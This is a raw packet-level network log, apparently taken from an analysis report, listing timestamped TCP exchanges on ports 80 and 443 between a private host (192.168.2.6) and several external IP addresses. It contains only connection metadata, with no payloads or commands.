Dec 7, 2024 00:15:48.211191893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.211302996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.211361885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.212194920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.212265968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.212299109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.212388992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.213175058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.213238955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.213273048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.213320017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.214194059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.214257956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.214478016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.214988947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.215143919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.215193987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.215253115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.215317011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.216152906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.216211081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.216249943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.216286898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.217149973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.217227936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.217243910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.217300892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.218127012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.218270063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.218288898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.218323946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.219162941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.219233036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.219257116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.219329119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.220133066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.220196009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.220228910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.220268011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.221102953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.221163034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.221234083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.221272945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.222103119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.222182035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.222213984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.222341061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.223123074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.223196030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.223227978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.223270893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.224101067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.224160910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.224247932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.224294901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.225161076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.225222111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.225250959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.225312948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.226110935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.226196051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.226205111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.226243973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.226959944 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.226974964 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.227070093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.227076054 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.227092981 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.227160931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.227243900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.227283955 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.227293015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.228065014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.228137970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.228168964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.228375912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.229140997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.229211092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.229254007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.229362011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.230174065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.230236053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.230324984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.230367899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.231074095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.231154919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.231192112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.231296062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.232177973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.232191086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.232253075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.233047962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.233107090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.233227968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.233268976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.234054089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.234185934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.234188080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.234342098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.235038042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.235097885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.235177040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.235218048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.236073017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.236128092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.236188889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.236228943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.237047911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.237103939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.237185955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.237224102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.238038063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.238173008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.238173962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.238214970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.239022970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.239089966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.239168882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.239212990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.240005016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.240075111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.240139961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.240176916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.241012096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.241079092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.241115093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.241153955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.241995096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.242182970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.242207050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.242235899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.243000984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.243071079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.243149996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.243201017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.243988037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.244055986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.244091988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.244287968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.244951010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.245014906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.245138884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.245182991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.245929003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.245996952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.247828960 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.247844934 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.247937918 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.247950077 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.248555899 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.266932011 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.266966105 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.267193079 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.267457008 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.267468929 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.296633959 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.297923088 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.297935009 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.298544884 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.298549891 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.305252075 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.305280924 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.305378914 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.305409908 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.305495024 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.315059900 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.315092087 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.315180063 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.315188885 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.315227985 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.342313051 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.342335939 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.342380047 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.342386007 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.342443943 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.345176935 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.345204115 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.345298052 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.345312119 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.345360994 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.360646009 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.360694885 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.360802889 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.360802889 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.360826969 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.361434937 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.363836050 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.363862991 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.363944054 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.363957882 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.363990068 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.364008904 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.368655920 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.368674040 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.368758917 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.368767023 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.369009972 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.376626015 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.376650095 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.376746893 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.376766920 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.376777887 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.376946926 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.385370970 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.385400057 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.385505915 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.385516882 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.385629892 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.385893106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.385962963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.385966063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.386012077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.386513948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.386807919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.386852980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.386924982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.387372017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.387581110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.387633085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.388500929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.388559103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.388813019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.388884068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.389400005 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.389415026 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.389482021 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.389487982 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.389539003 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.389585018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.389624119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.389899969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.389950991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.390352011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.390456915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.390719891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.391266108 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.391283035 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.391416073 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.391427994 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.391515017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.391529083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.391572952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.391588926 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.392483950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.392802000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.392891884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.393435955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.393635035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.393755913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.394330978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.394386053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.394428015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.395503998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.395564079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.395873070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.396410942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.396455050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.396531105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.397315979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.397363901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.397427082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.397636890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.398333073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.398530006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.398582935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.399306059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.399415970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.399466038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.400298119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.400412083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.400479078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.401349068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.401413918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.401469946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.402282953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.402337074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.402422905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.402462959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.403255939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.403301001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.403352976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.403564930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.403994083 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.404009104 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.404092073 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.404102087 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.404267073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.404318094 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.404323101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.404371023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.405280113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.405338049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.405356884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.405396938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.406258106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.406307936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.406414986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.406518936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.407254934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.407303095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.407341957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.407422066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.408344984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.408356905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.408391953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.408406973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.409292936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.409425020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.409473896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.410298109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.410346985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.410630941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.410680056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.411242008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.411288023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.411351919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.411402941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.412234068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.412296057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.412350893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.412384987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.413204908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.413291931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.413322926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.413368940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.414249897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.414304018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.414341927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.414572001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.415183067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.415237904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.415307045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.415396929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.416199923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.416265965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.416299105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.416356087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.417196035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.417246103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.417278051 CET	80	49823	185.215.113.206	192.168.2.6
